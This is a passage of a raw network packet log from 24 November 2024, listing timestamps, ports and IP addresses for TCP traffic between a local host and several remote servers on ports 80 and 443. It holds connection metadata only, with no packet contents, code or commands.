Nov 24, 2024 19:11:59.500605106 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.500663996 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.500735998 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.543337107 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.549947023 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.731327057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:59.731450081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:59.836802959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:59.941370964 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.941597939 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.941610098 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.944211006 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.944281101 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.945174932 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.945275068 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.962559938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:59.984901905 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.985105991 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.985124111 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.986157894 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.986239910 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.986494064 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.986557007 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.993963957 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:11:59.993977070 CET	443	49830	23.57.90.171	192.168.2.8
Nov 24, 2024 19:11:59.996678114 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.996766090 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:59.997313023 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.999464989 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:59.999480009 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:12:00.039182901 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:12:00.039213896 CET	443	49829	23.57.90.171	192.168.2.8
Nov 24, 2024 19:12:00.039248943 CET	49830	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:12:00.085778952 CET	49829	443	192.168.2.8	23.57.90.171
Nov 24, 2024 19:12:00.282108068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:00.282195091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:00.282196999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:00.282452106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:00.282486916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:00.282514095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:00.285492897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:00.305541992 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.305876970 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.305905104 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.306904078 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.306982040 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.308259010 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.308317900 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.323474884 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.325120926 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.325148106 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.326575041 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.326648951 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.327533007 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.327613115 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.348030090 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.348047018 CET	443	49832	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.379283905 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.379296064 CET	443	49831	204.79.197.219	192.168.2.8
Nov 24, 2024 19:12:00.394370079 CET	49832	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.411041975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:00.425945044 CET	49831	443	192.168.2.8	204.79.197.219
Nov 24, 2024 19:12:00.598943949 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.598994970 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.599951982 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.600162029 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.600178003 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.829921007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:00.829977036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:00.844161034 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.844194889 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.844258070 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.847287893 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.847307920 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.849296093 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.849327087 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.849570036 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.849689007 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:00.849704027 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:00.896917105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:01.048064947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:01.183388948 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.183681011 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.183742046 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.184101105 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.184478998 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.184559107 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.184711933 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.227340937 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.775003910 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.775023937 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.775105000 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.775163889 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.776949883 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.777019024 CET	443	49833	23.96.180.189	192.168.2.8
Nov 24, 2024 19:12:01.777081013 CET	49833	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:12:01.879448891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:01.879545927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:01.908859015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:02.018940926 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.019253016 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.019278049 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.021102905 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.021171093 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.021482944 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.021564007 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.021616936 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.028743982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:02.062731981 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.062762022 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.112829924 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.209415913 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.209717989 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.209736109 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.210079908 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.210401058 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.210467100 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.210671902 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.251341105 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.300811052 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.301106930 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.301129103 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.302134037 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.302206993 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.302640915 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.302701950 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.302860022 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.347342014 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.348326921 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.348347902 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.362008095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:12:02.362090111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:12:02.372514963 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:02.394805908 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.498851061 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:02.499072075 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:02.499602079 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:02.713290930 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:02.713351965 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713387966 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713397980 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713416100 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713423967 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713432074 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713454008 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.713485956 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.713500977 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.713537931 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.718302965 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.718331099 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.718346119 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.718384027 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.718430042 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.718466043 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.718486071 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.786668062 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.786684036 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.786705971 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.786751986 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.786752939 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.786766052 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.786813021 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.833740950 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.833780050 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:02.833950043 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.834239006 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.834498882 CET	49838	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.834511995 CET	443	49838	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:02.882170916 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.882184029 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.882220030 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.882231951 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.882246971 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.882260084 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.882298946 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.882330894 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.896811962 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.896871090 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.896878004 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.896905899 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.896919966 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.896950960 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.897083044 CET	49834	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.897097111 CET	443	49834	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.898588896 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.898613930 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.898662090 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.898678064 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.898705959 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.898720026 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.906810999 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.906869888 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.907336950 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907361031 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907367945 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907413960 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.907423019 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907438993 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907450914 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907468081 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.907495022 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.907515049 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.962517977 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.962555885 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:02.962620020 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.962908030 CET	49839	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:02.962925911 CET	443	49839	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:02.972507000 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.972527981 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.972584009 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:02.972593069 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:02.972645998 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.025445938 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.025480986 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.025520086 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.025537968 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.025558949 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.025583029 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.025612116 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.033735991 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.072756052 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.072776079 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.072835922 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.072860956 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.072913885 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.082644939 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.086462975 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.086527109 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.113966942 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.113982916 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.114051104 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.114069939 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.114285946 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.118417978 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.118432045 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.118463039 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.118490934 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.118505001 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.118514061 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.118526936 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.118551016 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.131999969 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.132062912 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.132107019 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.132124901 CET	49835	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.132137060 CET	443	49835	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.213929892 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.213953018 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.214010000 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.214023113 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.214054108 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.214071035 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.226710081 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.226784945 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.254873991 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.254899025 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.254970074 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.254993916 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.260134935 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.276509047 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.276527882 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.276599884 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.276623011 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.276652098 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.276669979 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.328495026 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.328560114 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.328763962 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.328999043 CET	49836	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:12:03.329015970 CET	443	49836	104.117.182.56	192.168.2.8
Nov 24, 2024 19:12:03.860836983 CET	49840	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.860878944 CET	443	49840	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:03.860941887 CET	49840	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.862957001 CET	49840	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.862966061 CET	443	49840	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:03.914324045 CET	49841	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.914345980 CET	443	49841	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:03.914473057 CET	49841	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.914983988 CET	49841	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:12:03.914997101 CET	443	49841	52.182.143.211	192.168.2.8
Nov 24, 2024 19:12:03.988621950 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:03.988704920 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:03.988795996 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.028465033 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028485060 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028501034 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028526068 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028541088 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028557062 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028573990 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028572083 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.028625965 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028641939 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028644085 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.028657913 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.028666973 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.028688908 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.028702021 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.044439077 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.044513941 CET	443	49780	162.159.61.3	192.168.2.8
Nov 24, 2024 19:12:04.044596910 CET	49780	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:12:04.148627996 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.148658991 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.148729086 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.242804050 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.242985964 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.243033886 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.243033886 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.247066021 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.247121096 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.247129917 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.247190952 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.253896952 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.254005909 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.259697914 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.261810064 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.261907101 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.261980057 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.270226002 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.270299911 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.270386934 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.270440102 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.278875113 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.278963089 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.279025078 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.287089109 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.287250996 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.287333965 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.295639992 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.295751095 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.295758963 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.295803070 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.303915024 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.303962946 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.304075003 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.304125071 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.312371016 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.312539101 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:04.312561989 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:04.312638044 CET	49837	80	192.168.2.8	185.215.113.16
